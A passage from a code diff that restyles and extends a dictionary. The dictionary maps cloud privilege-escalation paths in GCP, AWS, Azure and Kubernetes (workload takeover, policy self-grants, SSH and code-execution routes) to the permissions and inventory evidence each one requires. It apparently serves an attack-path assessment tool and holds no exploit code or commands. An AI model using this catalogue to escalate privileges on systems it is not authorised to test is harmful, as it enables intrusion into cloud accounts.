accounts, and exact workflow permissions", - "gcp_workflows_update_attach_path": "Active Workflows resources and exact workflow update and execution permissions", - "gcp_workflows_observed_external_execution": "Active Workflows resources and recorded Cloud Scheduler execution targets", - "gcp_cloudscheduler_update_job_path": "Cloud Scheduler jobs, their state, and exact update or resume permissions", - "gcp_cloudscheduler_authenticated_delivery": "Project number and Cloud Scheduler service agent role binding", - "gcp_cloudtasks_enqueue_path": "Cloud Tasks queues, state, target overrides, queue IAM, and exact task creation grants", - "gcp_cloudtasks_authenticated_delivery": "Project number, Cloud Tasks service agent role, and access to the target service account", - "gcp_cloudtasks_queue_policy_path": "Cloud Tasks queue state and IAM, prior task grants, exact policy and override-update grants, deny policy, and IAM member restrictions", - "gcp_cloudfunctions_create_path": "Cloud Build default identity by location, Cloud Functions create and source-upload rights, build actAs, and invocation rights", - "gcp_cloudfunctions_existing_source_update_path": "Cloud Functions inventory, exact update and upload rights, build identity, and invocation route", - "gcp_cloudfunctions_env_startup_path": "Active Cloud Functions with a Node.js 20 or later runtime, exact update rights, build actAs, and an invocation route", - "gcp_cloudfunctions_source_deploy_build_path": "Cloud Build legacy default identity, function create or update and source-upload rights, and runtime service-account actAs", - "gcp_vertex_new_model_endpoint_path": "Vertex model upload, endpoint create and deploy permissions, project number, and service-agent delegation to the target service account", - "gcp_vertex_batch_prediction_path": "Vertex batch prediction job creation, project number, and service-agent delegation to the target service account", - "gcp_workbench_existing_takeover_path": "Workbench instance inventory with attached service account, state, instance IAM policy, and exact update and boot or policy-write rights", - "gcp_run_job_override_path": "Cloud Run job inventory with pinned service account and run plus runWithOverrides on the same job", - "gcp_run_job_policy_override_path": "Cloud Run job inventory with pinned service account and setIamPolicy on that job", - "gcp_run_service_update_path": "Cloud Run service inventory and update permission on an existing service in the target project", - "gcp_run_job_update_execute_path": "Cloud Run job inventory and update plus run permissions on the same existing job in the target project", - "gcp_run_instance_create_or_update_path": "Cloud Run instance inventory, project-level create permission, and exact existing-instance update permission", - "gcp_run_instance_ssh_path": "Cloud Run instance inventory, its SSH setting and state, and exact SSH and start permissions", - "gcp_run_service_ssh_path": "Cloud Run service inventory, SSH flag, second-generation environment, readiness, and exact SSH permission", - "gcp_appengine_instance_ssh_path": "Flexible App Engine instance, backing VM, runtime identity, debug or OS Login rights, and SSH route", - "gcp_appengine_deploy_path": "Existing App Engine app, staging bucket, and target runtime service-account Docker repository access", - "gcp_appengine_legacy_actas_unenforced": "Project constraint visibility and effective policy for the legacy App Engine default service-account exception", - "gcp_appintegration_run_as_path": "Application Integration service state, observed integration versions, exact source IAM permissions, and target service-account actAs", - "gcp_gcr_namespace_path": "Artifact Registry redirection and repository coverage, exact create and upload grants, and a tagged Cloud Run consumer with its runtime service account", - "gcp_artifact_policy_consumer_path": "Exact standard Docker repository, mutable tagged Cloud Run consumer, runtime account, and repository-scoped IAM policy write", - "gcp_agentidentity_retrieve_path": "Exact enabled Google OAuth provider and active authorization with useful granted scopes", - "gcp_agentidentity_update_path": "Exact enabled Google OAuth provider and active authorization with a possible later refresh through a changed token endpoint", - "gcp_batch_agent_reporter_on_target": "Target service account's effective batch.states.report grant in the job project", - "gcp_run_worker_pool_create_or_update_path": "Cloud Run worker pool inventory, project-level create permission, and exact existing-pool update permission", - "gcp_cross_project_run_service": "effective cross-project service-account policy, Cloud Run host project number, and the host service agent's target service-account grant", - "gcp_cross_project_run_job": "effective cross-project service-account policy, Cloud Run job host project number, and the host service agent's target service-account grant", - "gcp_cross_project_cloudbuild": "effective cross-project service-account policy, Cloud Build host project number, and the host service agent's target service-account grant", - "gcp_cross_project_workflows": "effective cross-project service-account policy, Workflows host project number, and the host service agent's target service-account grant", - "iam_user_access_keys_not_collected": "the target IAM user's access-key list", - "lambda_code_signing_not_collected": "the Lambda function's code-signing attachment and configuration", - "lambda_code_signing_function_binding_unclear": "a match between the permitted Lambda function and its enforced code-signing setting", - "source_permissions_boundary_not_collected": "the source role or user's permissions boundary policy document", - "source_permissions_boundary_conditions": "the source permissions boundary conditions needed to decide full account administration", - "source_boundary_policy_version_contents": "stored versions of the source permissions boundary policy", - "source_boundary_replacement_authorization": "the replacement boundary policy and request conditions on changing the source boundary", - "aws_scheduler_iam_self_grant": "an exact creator, Scheduler-trusting passable role, creatable schedule, role-authorized inline-policy API on the creator and a newly effective IAM permission", - "aws_s3_policy_self_grant": "unique collected aws_s3_policy_self_grant_evidence with exact source, bucket, prefix, policy principal/resource and observed before/after GetObject authorization", - "aws_sqs_policy_self_grant": "the exact queue ARN, a same-account IAM user's SetQueueAttributes grant, absent prior ReceiveMessage and no surviving explicit deny; for SSE-KMS, the exact collected key policy and effective Decrypt grant", - "aws_sns_policy_self_grant": "the exact topic ARN, a same-account IAM user's SetTopicAttributes grant, absent prior Subscribe and no surviving explicit deny", - "aws_dynamodb_policy_self_grant": "an active table with an exact ARN and AWS-owned encryption, a same-account IAM user's PutResourcePolicy grant, absent prior GetItem and no surviving explicit deny", - "aws_s3_access_grants_self_grant": "unique collected aws_s3_access_grants_self_grant_evidence with exact source, location role, grant, target prefix, scoped session and observed before/after GetObject authorization", - "aws_secretsmanager_policy_self_grant": "unique reviewed exact-source, exact-secret policy grant with observed before/after GetSecretValue and KMS authorization", - "aws_efs_policy_self_grant": "unique reviewed exact-source, exact-file-system policy grant with observed before/after ClientMount authorization", - "aws_cases_tag_self_grant": "unique reviewed exact-source Cases domain tag mutation and before/after PutCaseEventConfiguration authorization", - "aws_sitewise_portal_self_grant": "unique reviewed exact-source SiteWise Monitor portal ADMINISTRATOR access policy with observed before/after access", - "k8s_helm_values_rbac": "unique collected k8s_helm_values_rbac_evidence with the exact source ConfigMap, values key, chart fields, reconciler authority, generated Role/RoleBinding, source ServiceAccount, prior denial and admitted observed grant", - "k8s_verified_pivot": "unique collected k8s_verified_pivot_evidence with exact source, Secret/RoleBinding/Pod object, accepted target subject, and a newly allowed named action", - "azure_challenge_fact": "azure_privesc_challenge_evidence with exact TechniqueId, SourceId, TargetKind, TargetId, TargetScope, EvidenceRef, Status and VerifiedPreconditions", - "azure_external_principal_evidence": "unique collected azure_external_principal_evidence binding exact source action/resource, named adjacent-plane subject, usable credential or grant, prior denial and newly allowed action", - "k8s_challenge_fact": "k8s_privesc_challenge_evidence with exact TechniqueId, SourceId, TargetKind, TargetId, TargetScope, EvidenceRef, Status and VerifiedPreconditions", - "gcp_challenge_fact": "gcp_privesc_challenge_evidence with TechniqueId, SourceId, TargetKind, TargetId, " + 'gcp_clouddeploy_custom_render_path': "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", + 'gcp_clouddeploy_existing_custom_render_path': "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", + 'gcp_clouddeploy_pipeline_policy_custom_render_path': "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", + 'gcp_clouddeploy_configurable_custom_render_path': "Cloud Deploy pipelines, targets, custom target types, and their render execution service accounts", + 'gcp_cloudbuild_writable_trigger_token_path': "Cloud Build repository push triggers, source build config, and explicit service accounts", + 'gcp_cloudbuild_writable_trigger_policy_path': "Cloud Build repository push triggers, source build config, and explicit service accounts", + 'gcp_workflows_update_execute_same_workflow': "Active Workflows resources, their attached service accounts, and exact workflow permissions", + 'gcp_workflows_update_attach_path': "Active Workflows resources and exact workflow update and execution permissions", + 'gcp_workflows_observed_external_execution': "Active Workflows resources and recorded Cloud Scheduler execution targets", + 'gcp_cloudscheduler_update_job_path': "Cloud Scheduler jobs, their state, and exact update or resume permissions", + 'gcp_cloudscheduler_authenticated_delivery': "Project number and Cloud Scheduler service agent role binding", + 'gcp_cloudtasks_enqueue_path': "Cloud Tasks queues, state, target overrides, queue IAM, and exact task creation grants", + 'gcp_cloudtasks_authenticated_delivery': "Project number, Cloud Tasks service agent role, and access to the target service account", + 'gcp_cloudtasks_queue_policy_path': "Cloud Tasks queue state and IAM, prior task grants, exact policy and override-update grants, deny policy, and IAM member restrictions", + 'gcp_cloudfunctions_create_path': "Cloud Build default identity by location, Cloud Functions create and source-upload rights, build actAs, and invocation rights", + 'gcp_cloudfunctions_existing_source_update_path': "Cloud Functions inventory, exact update and upload rights, build identity, and invocation route", + 'gcp_cloudfunctions_env_startup_path': "Active Cloud Functions with a Node.js 20 or later runtime, exact update rights, build actAs, and an invocation route", + 'gcp_cloudfunctions_source_deploy_build_path': "Cloud Build legacy default identity, function create or update and source-upload rights, and runtime service-account actAs", + 'gcp_vertex_new_model_endpoint_path': "Vertex model upload, endpoint create and deploy permissions, project number, and service-agent delegation to the target service account", + 'gcp_vertex_batch_prediction_path': "Vertex batch prediction job creation, project number, and service-agent delegation to the target service account", + 'gcp_workbench_existing_takeover_path': "Workbench instance inventory with attached service account, state, instance IAM policy, and exact update and boot or policy-write rights", + 'gcp_run_job_override_path': "ready Cloud Run job inventory with pinned service account, exact run and runWithOverrides grants, and recorded interpreter command", + 'gcp_run_job_policy_override_path': "Cloud Run job inventory with pinned service account and setIamPolicy on that job", + 'gcp_run_service_update_path': "Cloud Run service inventory and update permission on an existing service in the target project", + 'gcp_run_job_update_execute_path': "Cloud Run job inventory and update plus run permissions on the same existing job in the target project", + 'gcp_run_instance_create_or_update_path': "Cloud Run instance inventory, project-level create permission, and exact existing-instance update permission", + 'gcp_run_instance_ssh_path': "Cloud Run instance inventory, its SSH setting and state, and exact SSH and start permissions", + 'gcp_run_service_ssh_path': "Cloud Run service inventory, SSH flag, second-generation environment, readiness, and exact SSH permission", + 'gcp_appengine_instance_ssh_path': "Flexible App Engine instance, backing VM, runtime identity, debug or OS Login rights, and SSH route", + 'gcp_appengine_deploy_path': "Existing App Engine app, staging bucket, and target runtime service-account Docker repository access", + 'gcp_appengine_legacy_actas_unenforced': "Project constraint visibility and effective policy for the legacy App Engine default service-account exception", + 'gcp_appintegration_run_as_path': "Application Integration service state, observed integration versions, exact source IAM permissions, and target service-account actAs", + 'gcp_gcr_namespace_path': "Artifact Registry redirection and repository coverage, exact create and upload grants, and a tagged Cloud Run consumer with its runtime service account", + 'gcp_artifact_policy_consumer_path': "Exact standard Docker repository, mutable tagged Cloud Run consumer, runtime account, and repository-scoped IAM policy write", + 'gcp_agentidentity_retrieve_path': "Exact enabled Google OAuth provider and active authorization with useful granted scopes", + 'gcp_agentidentity_update_path': "Exact enabled Google OAuth provider and active authorization with a possible later refresh through a changed token endpoint", + 'gcp_batch_agent_reporter_on_target': "Target service account's effective batch.states.report grant in the job project", + 'gcp_run_worker_pool_create_or_update_path': "Cloud Run worker pool inventory, project-level create permission, and exact existing-pool update permission", + 'gcp_cross_project_run_service': "host service creation grant and enabled API, effective cross-project service-account policy, Cloud Run host project number, and the host service agent's target service-account grant", + 'gcp_cross_project_run_job': "effective cross-project service-account policy, Cloud Run job host project number, and the host service agent's target service-account grant", + 'gcp_cross_project_cloudbuild': "effective cross-project service-account policy, Cloud Build host project number, and the host service agent's target service-account grant", + 'gcp_cross_project_workflows': "effective cross-project service-account policy, Workflows host project number, and the host service agent's target service-account grant", + 'iam_user_access_keys_not_collected': "the target IAM user's access-key list", + 'lambda_code_signing_not_collected': "the Lambda function's code-signing attachment and configuration", + 'lambda_code_signing_function_binding_unclear': "a match between the permitted Lambda function and its enforced code-signing setting", + 'source_permissions_boundary_not_collected': "the source role or user's permissions boundary policy document", + 'source_permissions_boundary_conditions': "the source permissions boundary conditions needed to decide full account administration", + 'source_boundary_policy_version_contents': "stored versions of the source permissions boundary policy", + 'source_boundary_replacement_authorization': "the replacement boundary policy and request conditions on changing the source boundary", + 'aws_scheduler_iam_self_grant': "an exact creator, Scheduler-trusting passable role, creatable schedule, role-authorized inline-policy API on the creator and a newly effective IAM permission", + 'aws_scheduler_iam_self_grant_update': "an exact existing schedule, Scheduler-trusting passable role, UpdateSchedule permission, role-authorized inline-policy API on the source and a newly effective IAM permission", + 'aws_s3_policy_self_grant': "unique collected aws_s3_policy_self_grant_evidence with exact source, bucket, prefix, policy principal/resource and observed before/after GetObject authorization", + 'aws_sqs_policy_self_grant': "the exact queue ARN, a same-account IAM user's SetQueueAttributes grant, absent prior ReceiveMessage and no surviving explicit deny; for SSE-KMS, the exact collected key policy and effective Decrypt grant", + 'aws_sns_policy_self_grant': "the exact topic ARN, a same-account IAM user's SetTopicAttributes grant, absent prior Subscribe and no surviving explicit deny", + 'aws_dynamodb_policy_self_grant': "an active table with an exact ARN and AWS-owned encryption, a same-account IAM user's PutResourcePolicy grant, absent prior GetItem and no surviving explicit deny", + 'aws_s3_access_grants_self_grant': "unique collected aws_s3_access_grants_self_grant_evidence with exact source, location role, grant, target prefix, scoped session and observed before/after GetObject authorization", + 'aws_secretsmanager_policy_self_grant': "unique reviewed exact-source, exact-secret policy grant with observed before/after GetSecretValue and KMS authorization", + 'aws_efs_policy_self_grant': "unique reviewed exact-source, exact-file-system policy grant with observed before/after ClientMount authorization", + 'aws_cases_tag_self_grant': "unique reviewed exact-source Cases domain tag mutation and before/after PutCaseEventConfiguration authorization", + 'aws_sitewise_portal_self_grant': "unique reviewed exact-source SiteWise Monitor portal ADMINISTRATOR access policy with observed before/after access", + 'k8s_helm_values_rbac': "unique collected k8s_helm_values_rbac_evidence with the exact source ConfigMap, values key, chart fields, reconciler authority, generated Role/RoleBinding, source ServiceAccount, prior denial and admitted observed grant", + 'k8s_verified_pivot': "unique collected k8s_verified_pivot_evidence with exact source, Secret/RoleBinding/Pod object, accepted target subject, and a newly allowed named action", + 'azure_challenge_fact': "azure_privesc_challenge_evidence with exact TechniqueId, SourceId, TargetKind, TargetId, TargetScope, EvidenceRef, Status and VerifiedPreconditions", + 'azure_external_principal_evidence': "unique collected azure_external_principal_evidence binding exact source action/resource, named adjacent-plane subject, usable credential or grant, prior denial and newly allowed action", + 'k8s_challenge_fact': "k8s_privesc_challenge_evidence with exact TechniqueId, SourceId, TargetKind, TargetId, TargetScope, EvidenceRef, Status and VerifiedPreconditions", + 'gcp_challenge_fact': "gcp_privesc_challenge_evidence with TechniqueId, SourceId, TargetKind, TargetId, " "TargetScope, Status and VerifiedPreconditions for the exact exploit preconditions", - "gcp_resource_self_grant": "unique accepted mutation evidence, or complete exact-resource inventory and IAM policy with a supported prospective self-grant; absent prerequisites stay unresolved", - "gcp_external_principal_evidence": "unique collected gcp_external_principal_evidence binding the exact action, target service/subject, usable credential, prior source denial and observed new permission", - "gcp_agentregistry_skill_evidence": "unique collected gcp_agentregistry_skill_evidence binding an exact Agent Registry Skill revision, floating consumer, runtime identity, and newly successful bounded action", - "gcp_bounded_access_gain": "unique collected gcp_bounded_access_gain_evidence binding exact source actions/resources, intermediate object, protected resource and before/after action", - "aws_challenge_fact": "aws_privesc_challenge_evidence with exact TechniqueId, SourceArn, TargetKind, TargetId, TargetAccount, Status and VerifiedPreconditions", - "via_resource_type": "AWS: per-type workload inventories carrying the role (ecs task definitions, glue jobs, sagemaker, ...), " + 'gcp_resource_self_grant': "unique accepted mutation evidence, or complete exact-resource inventory and IAM policy with a supported prospective self-grant; absent prerequisites stay unresolved", + 'gcp_external_principal_evidence': "unique collected gcp_external_principal_evidence binding the exact action, target service/subject, usable credential, prior source denial and observed new permission", + 'gcp_agentregistry_skill_evidence': "unique collected gcp_agentregistry_skill_evidence binding an exact Agent Registry Skill revision, floating consumer, runtime identity, and newly successful bounded action", + 'gcp_bounded_access_gain': "unique collected gcp_bounded_access_gain_evidence binding exact source actions/resources, intermediate object, protected resource and before/after action", + 'aws_challenge_fact': "aws_privesc_challenge_evidence with exact TechniqueId, SourceArn, TargetKind, TargetId, TargetAccount, Status and VerifiedPreconditions", + 'via_resource_type': "AWS: per-type workload inventories carrying the role (ecs task definitions, glue jobs, sagemaker, ...), " "fully collected in every region: imagebuilder_pipeline (imagebuilder:ListImagePipelines + " "ListInfrastructureConfigurations {instanceProfileName}), sagemaker_user_profile (sagemaker:ListUserProfiles + " "DescribeUserProfile {UserSettings.ExecutionRole} / DescribeDomain DefaultUserSettings.ExecutionRole), " "sagemaker_space (ListSpaces + DescribeSpace {SpaceArn, AppType, SharingType, OwnerUserProfileName} " "+ DescribeDomain DefaultSpaceSettings.ExecutionRole or owner DescribeUserProfile ExecutionRole), " "sagemaker_cluster (sagemaker:ListClusters + DescribeCluster {InstanceGroups[].ExecutionRole})", - "via_artifact_type": "AWS: artifact consumer mapping (S3 object / ECR repo / SSM document -> consuming role)", - "consumer_input_writable_via": "AWS: workload input mapping (ECR repo / S3 object -> consuming role); Image Builder: " + 'via_artifact_type': "AWS: artifact consumer mapping (S3 object / ECR repo / SSM document -> consuming role)", + 'consumer_input_writable_via': "AWS: workload input mapping (ECR repo / S3 object -> consuming role); Image Builder: " "imagebuilder_pipeline (ListImagePipelines + ListInfrastructureConfigurations) in every region", - "cognito_user_pool_covered_by": "AWS: cognito_identity_pool Roles {Roles, RoleMappings} (cognito-identity:GetIdentityPoolRoles) + " + 'cognito_user_pool_covered_by': "AWS: cognito_identity_pool Roles {Roles, RoleMappings} (cognito-identity:GetIdentityPoolRoles) + " "Configuration.CognitoIdentityProviders (DescribeIdentityPool) in every region", - "cognito_developer_authenticated_role": "AWS: cognito_identity_pool Configuration.DeveloperProviderName " + 'cognito_developer_authenticated_role': "AWS: cognito_identity_pool Configuration.DeveloperProviderName " "(DescribeIdentityPool), Roles.Roles.authenticated (GetIdentityPoolRoles), " "and exact role web-identity trust for the pool audience and authenticated method", - "cognito_developer_classic_role": "AWS: cognito_identity_pool Configuration.{DeveloperProviderName, AllowClassicFlow} " + 'cognito_developer_classic_role': "AWS: cognito_identity_pool Configuration.{DeveloperProviderName, AllowClassicFlow} " "(DescribeIdentityPool) and IAM role web-identity trust for that pool's audience " "and authenticated developer-provider method", - "cognito_developer_settable_authenticated_role": "AWS: cognito_identity_pool Configuration.DeveloperProviderName " + 'cognito_developer_settable_authenticated_role': "AWS: cognito_identity_pool Configuration.DeveloperProviderName " "(DescribeIdentityPool) and IAM role web-identity trust for " "the same pool's audience and authenticated method", - "cognito_developer_enable_classic_role": "AWS: cognito_identity_pool Configuration.{DeveloperProviderName, AllowClassicFlow} " + 'cognito_developer_enable_classic_role': "AWS: cognito_identity_pool Configuration.{DeveloperProviderName, AllowClassicFlow} " "(DescribeIdentityPool), IAM role web-identity trust, and exact " "UpdateIdentityPool plus token-mint permission on the same pool", - "cognito_user_pool_group_role_covered_by": "AWS: cognito_user_pool Groups {GroupName, RoleArn} (cognito-idp:ListGroups) in every region", - "codedeploy_group_instance_role_covered_by": "AWS: codedeploy_deployment_group {ec2TagFilters, ec2TagSet, autoScalingGroups} " + 'cognito_guest_update_classic_role': "AWS: cognito_identity_pool Configuration.{IdentityPoolName, AllowUnauthenticatedIdentities} " + "(DescribeIdentityPool), empty RoleMappings (GetIdentityPoolRoles), " + "matching IAM role web-identity trust, and UpdateIdentityPool on that pool", + 'cognito_user_pool_group_role_covered_by': "AWS: cognito_user_pool Groups {GroupName, RoleArn} (cognito-idp:ListGroups) in every region", + 'codedeploy_group_instance_role_covered_by': "AWS: codedeploy_deployment_group {ec2TagFilters, ec2TagSet, autoScalingGroups} " "(codedeploy:BatchGetDeploymentGroups) + instance {Tags, IamInstanceProfile} in the same region", - "ecs_task_role_on_ec2_capacity": "AWS: ecs_task_definition {taskDefinitionArn, taskRoleArn, compatibilities} + ecs_cluster " + 'ecs_task_role_on_ec2_capacity': "AWS: ecs_task_definition {taskDefinitionArn, taskRoleArn, compatibilities} + ecs_cluster " "{registeredContainerInstancesCount} in every region (ecs:DescribeTaskDefinition, ecs:DescribeClusters)", - "ecs_container_instance_role_in_cluster_covered_by": "AWS: ecs_cluster ContainerInstances {containerInstanceArn, ec2InstanceId} " + 'ecs_container_instance_role_in_cluster_covered_by': "AWS: ecs_cluster ContainerInstances {containerInstanceArn, ec2InstanceId} " "(ecs:ListContainerInstances + DescribeContainerInstances) and Tasks {taskDefinitionArn, " "launchType, containerInstanceArn, overrides.taskRoleArn} (ecs:ListTasks + DescribeTasks)", - "ecs_task_colocated_with_source_container_instance": "AWS: ecs_cluster ContainerInstances {containerInstanceArn, ec2InstanceId} + Tasks " + 'ecs_task_colocated_with_source_container_instance': "AWS: ecs_cluster ContainerInstances {containerInstanceArn, ec2InstanceId} + Tasks " "{taskDefinitionArn, launchType, containerInstanceArn, taskRoleArn, executionRoleArn, overrides} " "+ task definitions {taskRoleArn, executionRoleArn} + instance IamInstanceProfile", - "eks_authentication_mode": "AWS: eks_cluster describe_cluster {cluster.arn, cluster.accessConfig.authenticationMode}", - "trust_allows_oidc_provider_covered_by": "AWS: iam_role AssumeRolePolicyDocument (collected)", - "trust_federated_provider_missing": "AWS: iam_saml_provider (iam:ListSAMLProviders {Arn}) / iam_oidc_provider (iam:ListOpenIDConnectProviders {Arn})", - "trust_allows_principal_org": "AWS: organization_account Arn (organizations:ListAccounts; org id + management account) + organization_parent root", - "org_member_account": "AWS: organization_account {Id, Arn, State} (organizations:ListAccounts)", - "emr_runtime_role_of_cluster": "AWS: emr_cluster (elasticmapreduce:ListClusters + DescribeCluster {Cluster.SecurityConfiguration, " + 'eks_authentication_mode': "AWS: eks_cluster describe_cluster {cluster.arn, cluster.accessConfig.authenticationMode}", + 'trust_allows_oidc_provider_covered_by': "AWS: iam_role AssumeRolePolicyDocument (collected)", + 'trust_federated_provider_missing': "AWS: iam_saml_provider (iam:ListSAMLProviders {Arn}) / iam_oidc_provider (iam:ListOpenIDConnectProviders {Arn})", + 'trust_allows_principal_org': "AWS: organization_account Arn (organizations:ListAccounts; org id + management account) + organization_parent root", + 'org_member_account': "AWS: organization_account {Id, Arn, State} (organizations:ListAccounts)", + 'emr_runtime_role_of_cluster': "AWS: emr_cluster (elasticmapreduce:ListClusters + DescribeCluster {Cluster.SecurityConfiguration, " "Cluster.Ec2InstanceAttributes.IamInstanceProfile})", - "trust_allows_emr_containers_oidc": "AWS: iam_role AssumeRolePolicyDocument (collected)", - "instance_profile_name_prefix_or_path": "AWS: iam_role InstanceProfileList (collected)", - "portfolio_of_target_product_covered_by": "AWS: servicecatalog_portfolio {ARN, Constraints[{Type, ProductId, ConstraintParameters.RoleArn|LocalRoleName}]} " + 'trust_allows_emr_containers_oidc': "AWS: iam_role AssumeRolePolicyDocument (collected)", + 'instance_profile_name_prefix_or_path': "AWS: iam_role InstanceProfileList (collected)", + 'portfolio_of_target_product_covered_by': "AWS: servicecatalog_portfolio {ARN, Constraints[{Type, ProductId, ConstraintParameters.RoleArn|LocalRoleName}]} " "(servicecatalog:ListPortfolios, ListConstraintsForPortfolio, DescribeConstraint)", - "assigned_to_identity_center_group": "AWS: aws_identity_center_account_assignment {PrincipalType, PrincipalId} " + 'assigned_to_identity_center_group': "AWS: aws_identity_center_account_assignment {PrincipalType, PrincipalId} " "(sso-admin:ListAccountsForProvisionedPermissionSet + ListAccountAssignments) in every region", - "rolesanywhere_profile_includes_target": "AWS: rolesanywhere_profile {profileArn, roleArns, enabled} (rolesanywhere:ListProfiles) " + 'rolesanywhere_profile_includes_target': "AWS: rolesanywhere_profile {profileArn, roleArns, enabled} (rolesanywhere:ListProfiles) " "in every region", - "entra_target_not_in_restricted_au": "Azure: directory_administrative_unit {id,isMemberManagementRestricted} + members", - "entra_reset_matrix_column": "Azure: directory_role_assignment for target users, directory_group.isAssignableToRole, AU membership", - "entra_sp_has_tenant_application": "Azure: directory_application.appId", - "entra_app_sign_in_audience": "Azure: directory_application.signInAudience", - "entra_source_is_owner_of_application": "Azure: directory_owner (applications/{id}/owners)", - "entra_source_is_owner_of_service_principal": "Azure: directory_owner (servicePrincipals/{id}/owners)", - "entra_source_is_owner_of_group": "Azure: directory_owner (groups/{id}/owners)", - "entra_pim_eligible_for_source": "Azure: directory_role_eligibility_schedule (roleManagement/directory/roleEligibilitySchedules)", - "entra_agent_blueprint_principal_or_child_identity": "Azure: agent identity blueprint principals", - "entra_user_upn_on_federatable_custom_domain": "Azure: directory_domain {id,authenticationType,isVerified} + user UPNs", - "entra_group_role_assignable": "Azure: directory_group.isAssignableToRole", - "entra_group_membership_type": "Azure: directory_group.groupTypes (collected)", - "entra_group_membership_cloud_writable": "Azure: directory_group.onPremisesSyncEnabled and cloud source-of-authority status for synchronized groups", - "entra_group_source_self_membership": "Azure: source principal type and directory_app_role_assignment Graph application permissions", - "entra_dynamic_rule_attributes_writable_by_source": "Azure: directory_group.membershipRule", - "entra_dynamic_rule_satisfiable_by_invited_guest": "Azure: directory_group.membershipRule + authorizationPolicy.allowInvitesFrom", - "azure_host_linked_to_pivot": "Azure: avd_session_host {id, properties.resourceId} scoped to the host pool id " + 'entra_target_not_in_restricted_au': "Azure: directory_administrative_unit {id,isMemberManagementRestricted} + members", + 'entra_reset_matrix_column': "Azure: directory_role_assignment for target users, directory_group.isAssignableToRole, AU membership", + 'entra_sp_has_tenant_application': "Azure: directory_application.appId", + 'entra_app_sign_in_audience': "Azure: directory_application.signInAudience", + 'entra_source_is_owner_of_application': "Azure: directory_owner (applications/{id}/owners)", + 'entra_source_is_owner_of_service_principal': "Azure: directory_owner (servicePrincipals/{id}/owners)", + 'entra_source_is_owner_of_group': "Azure: directory_owner (groups/{id}/owners)", + 'entra_pim_eligible_for_source': "Azure: directory_role_eligibility_schedule (roleManagement/directory/roleEligibilitySchedules)", + 'entra_agent_blueprint_principal_or_child_identity': "Azure: agent identity blueprint principals", + 'entra_user_upn_on_federatable_custom_domain': "Azure: directory_domain {id,authenticationType,isVerified} + user UPNs", + 'entra_group_role_assignable': "Azure: directory_group.isAssignableToRole", + 'entra_group_membership_type': "Azure: directory_group.groupTypes (collected)", + 'entra_group_membership_cloud_writable': "Azure: directory_group.onPremisesSyncEnabled and cloud source-of-authority status for synchronized groups", + 'entra_group_source_self_membership': "Azure: source principal type and directory_app_role_assignment Graph application permissions", + 'entra_dynamic_rule_attributes_writable_by_source': "Azure: directory_group.membershipRule", + 'entra_dynamic_rule_satisfiable_by_invited_guest': "Azure: directory_group.membershipRule + authorizationPolicy.allowInvitesFrom", + 'azure_host_linked_to_pivot': "Azure: avd_session_host {id, properties.resourceId} scoped to the host pool id " "(hostPools/{id}/sessionHosts) + Resource Graph applicationGroups properties.hostPoolArmPath; " "automation_hybrid_worker {id, properties.vmResourceId} scoped to the automation account " "(hybridRunbookWorkerGroups/*/hybridRunbookWorkers); Resource Graph " "Microsoft.DevTestLab/labs/virtualMachines properties.computeId (or devtest_lab_vm scoped to " "the lab); Service Fabric cluster -> node VMSS link (not modelled)", - "azure_deployer_of_pivot": "Azure: deployment script / pipeline runner identities", - "ml_compute_assigned_to_source": "Azure: machine learning compute instances personal assignment", - "credential_stored_in_scope": "Azure: secret holder mapping (never secret values)", - "azure_appservice_config_code_path": "Azure: exact App Service kind, hosting plan, attached identity and config child scope; Windows and app-settings-only routes need executable package or payload evidence", - "azure_appservice_kudu_code_path": "Azure: exact App Service kind, hosting plan, running state and source publish/start permissions on that app; SCM network reachability remains conditional", - "azure_appservice_onedeploy_code_path": "Azure: exact App Service kind, attached identity, extensions/onedeploy permission and running state; custom container package execution needs evidence", - "azure_appservice_backup_restore_code_path": "Azure: exact App Service restore permission, supported hosting tier and runtime, attached identity, and running state; backup validity, storage access and execution remain conditional", - "azure_appservice_enable_publishing_credentials_code_path": "Azure: exact app SCM policy child write plus publishing credential read, app kind and running state; policy change, SCM reachability and execution remain conditional", - "azure_appservice_publishing_credentials_code_path": "Azure: exact App Service publishxml or config/list permission, collected SCM basic auth policy, app kind and running state; SCM reachability and package execution remain conditional", - "azure_appservice_sitecontainers_code_path": "Azure: exact app SiteContainer child write, Linux SiteContainers runtime mode, attached identity and running state; image run and identity access remain conditional", - "azure_appservice_siteextensions_code_path": "Azure: exact Windows App Service site extension write, attached identity and running state; package availability and app-content execution remain conditional", - "azure_appservice_slot_code_path": "Azure: exact deployment slot identity and executable slot-scoped publish, source-control, config or SiteContainer route; runtime and deployment stay conditional", - "azure_appservice_slot_swap_code_path": "Azure: exact production app identity, inventoried source slot, code-bearing slot route and site-level or same-slot swap action", - "azure_appservice_sourcecontrol_code_path": "Azure: exact production app sourcecontrols/web write, code app runtime and start availability; deployment remains conditional", - "azure_arc_entra_admin_ssh_path": "Azure: exact Arc machine and default endpoint rights, configured SSH service and provisioned Entra SSH extension; agent and OS login remain conditional", - "azure_arc_custom_script_code_path": "Azure: exact Arc identity machine and Custom Script child write, connected agent, enabled full-mode extension manager and compatible allow/block lists", - "azure_arc_run_command_code_path": "Azure: exact Arc identity machine and Run Command child write, agent v1.33 or later, enabled handler and compatible local allow/block lists", - "azure_deployment_script_uami_path": "Azure: exact script create/update and assignable UAMI with storage/ACI support rights in the script resource group", - "azure_appservice_slot_publishing_credentials_code_path": "Azure: exact slot publishxml or config/list permission, collected slot SCM basic auth policy, runtime and running state; SCM reachability and deployment remain conditional", - "k8s_sa_cloud_binding": "Cloud: IRSA annotations + IAM trust, EKS pod identity associations, GKE WI bindings, AKS FICs", - "trust_allows_k8s_sa_oidc_subject": "AWS: iam_role trust policies in the cluster's account", - "gcp_workload_identity_user_granted_to_k8s_sa": "GCP: service_account iamPolicy", - "azure_fic_matches_k8s_sa": "Azure: user-assigned identity federatedIdentityCredentials", - "k8s_node_cloud_identity": "Cloud: node instance role / node SA", - "k8s_node_hosting_privileged_pod_in_namespace": "K8s: pod inventory (spec.containers/initContainers/ephemeralContainers securityContext)", - "k8s_node_hosting_host_mount_pod_in_namespace": "K8s: pod inventory (spec.volumes hostPath + volumeMounts readOnly/subPath)", - "k8s_sa_used_by_pod_consuming_configmap": "K8s: pod inventory (configMap volumes, envFrom, configMapKeyRef)", - "k8s_nodes_mapped_to_cloud_identity": "AWS (related snapshot): eks_access_entry (eks:ListAccessEntries + DescribeAccessEntry {type}) " + 'azure_deployer_of_pivot': "Azure: 